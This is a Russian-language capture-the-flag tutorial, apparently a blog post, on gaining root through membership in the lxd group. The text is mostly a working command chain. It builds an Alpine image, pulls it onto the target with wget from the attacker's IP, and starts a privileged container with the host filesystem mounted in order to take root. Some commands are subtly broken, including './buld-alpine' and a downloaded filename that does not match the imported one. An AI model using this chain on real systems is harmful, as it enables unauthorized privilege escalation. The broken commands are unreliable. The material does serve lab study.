LXD privelege escalation
Max Alexeev (@wi_max)Предположим, решая очередную тачку на htb или thm, вы получили шелл и, как это обычно бывает, решили посмотреть информацию о пользователе с помощью id. Должен ли вас смутить следующий вывод команды, или все ок?
uid=1000(john) gid=1000(john) groups=1000(john),4(adm),27(sudo),108(lxd)
Если однозначного ответа в голову не приходит, то информация рассмотренная здесь будет очень полезна!

Разбираемся в терминологии
Linux Container (LXC) - система виртуализации на уровне операционной системы для запуска нескольких изолированных экземпляров операционной системы Linux на одном узле. LXC не использует виртуальные машины, а создаёт виртуальное окружение с собственным пространством процессов и сетевым стеком. Все экземпляры LXC используют один экземпляр ядра операционной системы.
Linux Daemon (LXD) - это гипервизор контейнеров, который базируется на LXC. Клиент командной строки спроектирован так, чтобы быть простой и в то же время мощной утилитой для управления всеми контейнерами. Он может обрабатывать подключения к нескольким контейнерам и дать обзор всех контейнеров в вашей сети, позволяет создавать новые, и даже перемещать их во время работы.
Повышение привилегий
Вернемся к тому, что мы попали на целевую систему и видим следующий вывод id:
uid=1000(john) gid=1000(john) groups=1000(john),4(adm),27(sudo),108(lxd)
Это значит ни что иное, как то, что наш пользователь состоит в группе lxd и имеет право взаимодействия (создания, редактирования, использования, удаления) с контейнерами.
Первым делом, нам необходимо иметь собственный контейнер на целевой системе. Для реализации этой нужды проще всего загрузить контейнер на свою систему, а затем передать на целевую.
Наиболее легковесный вариант образа контейнера можно получить следующим образом:
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./buld-alpine

После выполнения команд мы получим контейнер формата *.tar.gz
Передать на целевую систему полученный образ контейнера можно подняв на своей машине SimpleHTTPServer и используя wget на целевой соответственно:
cd /tmp
wget http://192.168.1.107:8000/apline-v3.10-x86_64-20210109_1227.tar.gz
После успешного получения на целевой системе образа, выполним следующую команду:
lxc image import ./alpine-v3.10-x86_64-20210109_1227.tar.gz --alias myimage
Это импортирует переданный образ с именем myimage.
После того, как мы получили образ, создадим контейнер, указав образ и имя.
lxc init myimage ignite -c security.privileged=true
Зададим некоторые конфигурации и смонитруем диск как /mnt/root
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
Запускаем и выполняем:
lxc start ignite
lxc exec ignite /bin/sh
Теперь мы имеем root права на целевой системе!